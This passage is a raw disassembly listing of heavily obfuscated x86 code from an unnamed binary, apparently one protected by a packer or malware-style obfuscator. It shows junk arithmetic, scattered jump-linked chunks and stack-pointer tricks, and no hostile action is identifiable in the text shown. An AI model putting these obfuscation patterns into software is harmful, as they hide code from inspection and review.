XREF: sub_5AA2D1-4E63j pop edi jmp loc_5A839C ; --------------------------------------------------------------------------- loc_59D25A: ; CODE XREF: sub_5AA2D1-45C1j xor eax, 72A20092h sub ebx, eax pop eax pop eax jmp loc_5A1463 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59D268: ; CODE XREF: sdfs____:005A3D56j push 1489h mov [esp], edi push esp mov edi, [esp] add esp, 4 jmp loc_59FAF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59D27C: ; CODE XREF: sub_5AA2D1-3E5j ; sub_59A9E9+115D2j inc ecx js loc_5B03C6 jmp loc_59A07C ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- mov eax, 4 add edx, eax pop eax mov ch, dl ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D292: ; CODE XREF: sub_5AA2D1-1F20j add ebx, 4 sub ebx, 4 xchg ebx, [esp+10h+var_10] pop esp jmp loc_59B588 ; --------------------------------------------------------------------------- loc_59D2A7: ; CODE XREF: sub_5AA2D1-10E54j mov ax, word ptr [esp-18h+arg_14] push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp-14h+arg_10] pop esp sub al, 0BFh sub al, dh add al, 0BFh push [esp-18h+arg_14] jmp loc_5A29E6 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59D2CC: ; CODE XREF: sub_59C979+B198j sub eax, 0F40E112Eh or ebx, eax jmp loc_5A731C ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D2D8: ; CODE XREF: sub_5AA2D1-5E4j pop esp jmp sub_59D6C3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59D2DE: ; CODE XREF: sub_59F02F+9F09j mov eax, esp add eax, 4 push ecx mov ecx, 5C6B6C1Fh xor ecx, 5C6B6C1Bh jmp loc_59F9B5 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59D2F6: ; CODE XREF: sub_5A580F+AA1Fj add dword ptr [esp+0], 298D060Ah push dword ptr [esp+0] pop eax push ebp jmp loc_5A173B ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D307: ; CODE XREF: sub_5AA2D1-D31Ej pop edx jmp loc_59BEB1 ; --------------------------------------------------------------------------- loc_59D30D: ; CODE XREF: sub_5AA2D1-93F2j pop edi jmp loc_5A7C28 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A491A loc_59D313: ; CODE XREF: sub_5A491A+352Cj pop esi push ebx push [esp+8+var_4] pop ebx pop [esp+8+var_8] pop esp push 4164h mov [esp+4+var_4], ebx jmp loc_5ACE36 ; END OF FUNCTION CHUNK FOR sub_5A491A ; --------------------------------------------------------------------------- loc_59D32B: ; CODE XREF: sdfs____:005A27FEj push edi mov edi, 0EDD708Dh jmp loc_59B3EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D336: ; CODE XREF: sub_5AA2D1-5956j pop esi xor eax, edi jmp loc_5ABA0B ; --------------------------------------------------------------------------- loc_59D33E: ; CODE XREF: sub_5AA2D1:loc_59B377j jmp loc_5AB310 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D343: ; CODE XREF: sub_5992DA+CEB3j sub edi, eax jmp loc_5A4ABE ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59D34A: ; CODE XREF: sub_5A9EC5-1B7Bj add ch, bh mov ebx, [esp+0Ch+var_C] jmp loc_59946A ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DE4B loc_59D354: ; CODE XREF: sub_59DE4B+5A56j mov [esp+4+var_4], edx push edi push 667B0AE3h mov edi, [esp+0Ch+var_C] add esp, 4 not edi add edi, 667B0AE8h mov edx, edi push [esp+8+var_8] pop edi jmp loc_5A1A67 ; END OF FUNCTION CHUNK FOR sub_59DE4B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59D376: ; CODE XREF: sub_59C979+6E02j add eax, ecx pop ecx jmp loc_5A7B0A ; END OF FUNCTION CHUNK FOR sub_59C979 ; =============== S U B R O U T I N E ======================================= sub_59D37E proc near ; DATA XREF: sdfs____:00598FC8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005997DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059B590 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059E34E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059EFE7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059F499 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059FCA6 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A07B3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A1A2A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A233C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A527C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AB152 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB74B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AC23C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005ACC9F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AEEEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AF3F3 SIZE 00000017 BYTES push esi push ebp push 3B23442Bh pop ebp add ebp, 4035097Dh jo loc_5997DE jmp loc_59B590 sub_59D37E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59D397: ; CODE XREF: sub_5A5EFF-98D1j ; sub_59F02F+F7C8j inc edi not edi shr edi, 7 add edi, 0FF841383h add ebx, edi pop edi xor ebx, [esp+4+var_4] xor [esp+4+var_4], ebx xor ebx, [esp+4+var_4] mov esp, [esp+4+var_4] jmp loc_59DD95 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3CF9 loc_59D3B7: ; CODE XREF: sub_5A3CF9+A0D5j mov ebx, esp push eax push 3148460Ah pop eax jmp loc_5A9098 ; END OF FUNCTION CHUNK FOR sub_5A3CF9 ; --------------------------------------------------------------------------- loc_59D3C5: ; CODE XREF: sdfs____:005A2D3Aj add esi, edx sub esi, 656B390Bh pop edx jmp loc_5ABF01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59D3D3: ; CODE XREF: sub_5B01F7-3F7Cj pop edx pop edx push ebx jmp loc_5A18C5 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FB1A loc_59D3DB: ; CODE XREF: sub_59FB1A+1974j pop bx jmp loc_5997BD ; END OF FUNCTION CHUNK FOR sub_59FB1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADAE7 loc_59D3E2: ; CODE XREF: sub_5ADAE7+3j push [esp+4+var_4] jmp loc_5A8B47 ; END OF FUNCTION CHUNK FOR sub_5ADAE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CE13 loc_59D3EA: ; CODE XREF: sub_59CE13+2Dj push esi mov esi, 4 sub esp, 4 mov [esp+8+var_8], eax jmp loc_5A32AC ; END OF FUNCTION CHUNK FOR sub_59CE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59D3FB: ; CODE XREF: sub_5A2E28+9A32j push esi mov esi, esp push edx sub esp, 4 mov [esp+0], ecx mov ecx, 56877F7Ch sub ecx, 0F5C5C0Eh jnz loc_5ADF1C sub ecx, 30D947BBh jmp sub_5A85E0 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A10E3 loc_59D421: ; CODE XREF: sub_5A10E3+5137j push 6F9A2B7Eh push [esp+10h+var_10] pop eax add esp, 4 sub ebx, eax pop eax jmp loc_5ADDD3 ; END OF FUNCTION CHUNK FOR sub_5A10E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59D438: ; CODE XREF: sub_5AB3DB:loc_59E8FDj ; sub_5A0FFF+ED50j inc dh xor dh, 0FCh jl loc_59AACB xor dh, 1Ah add dh, 0D6h mov bh, 54h xor bh, dh loc_59D44D: ; CODE XREF: sub_5ABE0D-B20Ej mov [esp+0], eax mov eax, 4652B67h shl eax, 8 xor eax, 34A07846h xchg eax, ebp add ebp, 0FFFFFFFFh xchg eax, ebp shl eax, 5 add eax, 0CE9C1762h sub ebp, 55D650DDh jmp loc_5A814F ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59D475: ; CODE XREF: sub_5A9D64-1059Aj pop esi add edi, esi jmp loc_5AC4D9 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- loc_59D47D: ; CODE XREF: sdfs____:0059DC3Dj pop esi xor eax, [esp] xor [esp], eax jmp loc_5A854B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_59D489: ; CODE XREF: sub_5A0AA2:loc_59CD4Aj dec ebx jg loc_59AF52 jmp loc_5AC4F5 ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59AD7B loc_59D495: ; CODE XREF: sub_59AD7B+9j add edi, 0FFFFFFFFh or edi, 74020438h inc edi or edi, 38F171A5h sub edi, 2F7253C3h add edi, 0AF7ADE22h add ebp, edi pop edi jmp loc_5ADBD8 ; END OF FUNCTION CHUNK FOR sub_59AD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D4B9: ; CODE XREF: sub_5AA2D1-C417j jbe loc_5A5E15 jmp loc_5AD366 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- push 1487h mov [esp], eax pop esp ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D4CD: ; CODE XREF: sub_5992DA+4218j shr ecx, 2 push eax push esp pop eax push ecx mov ecx, 4 add eax, ecx pop ecx sub eax, 4 jmp loc_5A7C6C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A06DD loc_59D4E4: ; CODE XREF: sub_5A06DD+2j pop ebx jmp loc_5A549E ; END OF FUNCTION CHUNK FOR sub_5A06DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A26E8 loc_59D4EA: ; CODE XREF: sub_5A26E8-46D2j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A26E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D4EF: ; CODE XREF: sub_5992DA+ECBAj and ecx, eax pop eax jmp loc_59D4CD ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59D4F7: ; CODE XREF: sub_59CBE1+130FAj push esi jmp loc_5AC54C ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; =============== S U B R O U T I N E ======================================= sub_59D4FD proc near ; CODE XREF: sub_59BA35+39j ; DATA XREF: sdfs____:00598FF8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059B8C8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059C56C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A0723 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A0E4E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2A52 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005A494A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A98D6 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005AB238 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005AB746 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ABB5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADA2F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AE342 SIZE 00000008 BYTES mov cx, [esp+0] push esi push esp jmp loc_5AB238 sub_59D4FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59D508: ; CODE XREF: sub_5AD795-12290j sub ebx, 4 xor ebx, [esp+8+var_8] xor [esp+8+var_8], ebx xor ebx, [esp+8+var_8] mov esp, [esp+8+var_8] mov [esp+4+var_4], ebx jmp loc_5A2D90 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3947 loc_59D51F: ; CODE XREF: sub_5A3947+7BDj sub eax, 25D70088h or [edi+1Ch], eax jmp loc_5AB724 ; END OF FUNCTION CHUNK FOR sub_5A3947 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59D52C: ; CODE XREF: sub_5A477C-62D2j add esp, 4 jmp loc_5A7A3C ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59D534: ; CODE XREF: sub_59C979+1329j add ebp, ecx add ebp, 371D313Ah pop ecx xchg ebp, [esp-12h+arg_E] mov esp, [esp-12h+arg_E] jmp loc_5AB4A1 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D548: ; CODE XREF: sub_5992DA+1F16j push ax jmp sub_5A0FFF ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D54F: ; CODE XREF: sub_5AA2D1-987Cj push 1C8018A6h jmp loc_59C385 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59D559: ; CODE XREF: sub_5AA810-7717j push ecx mov ecx, 7FC52038h dec ecx jl loc_5A9F0D jmp loc_5A92C0 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59D56B: ; CODE XREF: sub_5A477C+3031j mov edi, 10C05841h add eax, edi jmp loc_5A2656 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D577: ; CODE XREF: sub_59D6B8+91E8j jmp loc_59A1A3 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D57C: ; CODE XREF: sub_5AA2D1+55E0j xor ebp, edi pop edi sub ebp, 6A4CCDCh add esi, ebp pop ebp sub esi, 4 xchg esi, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] jmp loc_59E3C8 ; --------------------------------------------------------------------------- loc_59D599: ; CODE XREF: sub_5AA2D1-1EF4j add al, bh mov ebx, [esp+2+var_4+2] add esp, 4 jmp loc_5A562C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59D5A6: ; CODE XREF: sub_5AF2D9-D95Bj mov dh, 9 and cl, dh jmp loc_5A70EA ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7746 loc_59D5AF: ; CODE XREF: sub_5A7746-5362j xchg edx, [esp-4+arg_0] jmp loc_59D83C ; END OF FUNCTION CHUNK FOR sub_5A7746 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59D5B7: ; CODE XREF: sub_5A3992-4ADBj push [esp+8+var_8] jmp loc_5AA6B0 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E92 loc_59D5BF: ; CODE XREF: sub_5A8E92+Fj push dword ptr [esp+0] pop ebx add esp, 4 jmp loc_59DB3E ; END OF FUNCTION CHUNK FOR sub_5A8E92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D5CB: ; CODE XREF: sub_5AA2D1-A43Ej ; sub_5AFE9D-FD22j push edi mov edi, 4177C40h jmp loc_5A6B58 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59D5D6: ; CODE XREF: sub_59D6B8+D01Fj add ebx, 4AC167Eh mov ecx, [esp+0] add esp, 4 jmp sub_5AD795 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_59D5EA proc near ; CODE XREF: sub_5A86D0-BA76j ; sub_5AA2D1-5362j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A6C09 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A7D56 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AD476 SIZE 00000029 BYTES sub esp, 4 mov [esp+4+var_4], esi push 75644385h pop esi not esi xor esi, 135B7C24h not esi dec esi add esi, 0B9391357h push esi mov ecx, [esp+8+var_8] push ebx jmp loc_5A6C09 sub_59D5EA endp ; --------------------------------------------------------------------------- loc_59D611: ; CODE XREF: sdfs____:005A4668j add edx, ebp sub edx, 64B2836h jmp loc_59E105 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D61E: ; CODE XREF: sub_5AA2D1-4DB6j pop ebp push 720Eh mov [esp+2+var_4+2], edx mov edx, 8470FBh or ebx, edx pop edx push ebx jmp loc_5AA775 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59D635: ; CODE XREF: sub_59A9E9+13EAj ; sub_59BA35+13CB8j sub [edi+24h], ecx pop ecx ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59D639: ; CODE XREF: sub_5AA2D1-58F7j push 52A7h jmp loc_59C5CF ; --------------------------------------------------------------------------- loc_59D643: ; CODE XREF: sub_5AA2D1+1063j sub ch, bh pop bx jmp loc_5AC9BD ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59D64C: ; CODE XREF: sub_5A7BA0-66B8j push [esp-4+arg_0] pop edx sub esp, 4 mov [esp+0], ebx sub esp, 4 jmp loc_5ACED3 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- loc_59D65E: ; CODE XREF: sdfs____:005A7CB8j mov bh, 21h sub dh, 0F3h sub dh, bh jmp loc_5AA9AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D66A: ; CODE XREF: sub_5992DA+97B5j neg edx add edx, offset word_62549E jmp loc_59FBE1 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BA35 loc_59D677: ; CODE XREF: sub_59BA35-90Aj pop ecx mov ebp, edx pop edx add esi, ebp pop ebp shl esi, 5 push eax jmp sub_5AD243 ; END OF FUNCTION CHUNK FOR sub_59BA35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59D687: ; CODE XREF: sub_5992DA+2C95j mov esi, 7FA3A79h push ebx jmp loc_5B01BA ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF6AC loc_59D692: ; CODE XREF: sub_5AF6AC-850Ej xchg edx, ebx not edx xchg edx, ebx not ebx sub ebx, 78071E58h mov edi, ebx pop ebx shl edi, 1 push ebx jmp loc_5A5B9B ; END OF FUNCTION CHUNK FOR sub_5AF6AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59BB73 loc_59D6AB: ; CODE XREF: sub_59BB73+Bj add edx, 4 push ebx push edx jmp loc_5AF31C ; END OF FUNCTION CHUNK FOR sub_59BB73 ; =============== S U B R O U T I N E ======================================= sub_59D6B8 proc near ; CODE XREF: sub_5AD795-11F5Aj var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0059983A SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005998E4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00599B8E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00599C00 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00599DEB SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00599F5B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059A1A3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059A4BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059A5A7 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0059A9DC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059AA0C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059ADF1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059AE4E SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059AF88 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059B06D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059B146 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059B216 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059B5F0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059B91B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059B9A7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059BB9D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059C1CB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059C4E2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059C932 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059CA02 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059CE50 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059CE7C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059CEEA SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059D022 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D577 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059D5D6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059D6D1 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059D707 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059D995 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059DC72 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E443 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059E77C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059E9A6 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059EAA4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059EE07 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059F226 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059F3F1 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 0059FE3C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A0272 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A06B7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A0785 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005A0ADE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A0C48 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A0E5B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A15AA SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A1845 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A1F73 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A22E5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A25AC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A2858 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A290D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A29AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A2CB7 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A3038 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A38BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A3A3E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A3AD9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3D28 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A3EC6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A3FEE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A4229 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A476B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A480B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A48E1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A4D15 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A51B5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A51D7 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A5219 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005A542A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A5576 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A5944 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A5C02 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A5CAD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A5DC3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A624B SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005A6441 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A6473 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6489 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A64A7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A64F2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A6691 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A6745 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A67EE SIZE 00000022 BYTES ; FUNCTION CHUNK AT 005A6898 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6937 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A69D7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A6A24 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A6D03 SIZE 00000044 BYTES ; FUNCTION CHUNK AT 005A6D68 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A6DFE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A6F25 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005A6F69 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A6FD2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A700D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A7260 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A7402 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A754E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A7961 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005A7CC4 SIZE 00000041 BYTES ; FUNCTION CHUNK AT 005A7E28 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A811D SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005A882F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A8A64 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A8ACE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A8D14 SIZE 00000051 BYTES ; FUNCTION CHUNK AT 005A8EA6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A92D8 SIZE 00000037 BYTES ; FUNCTION CHUNK AT 005A93C3 SIZE 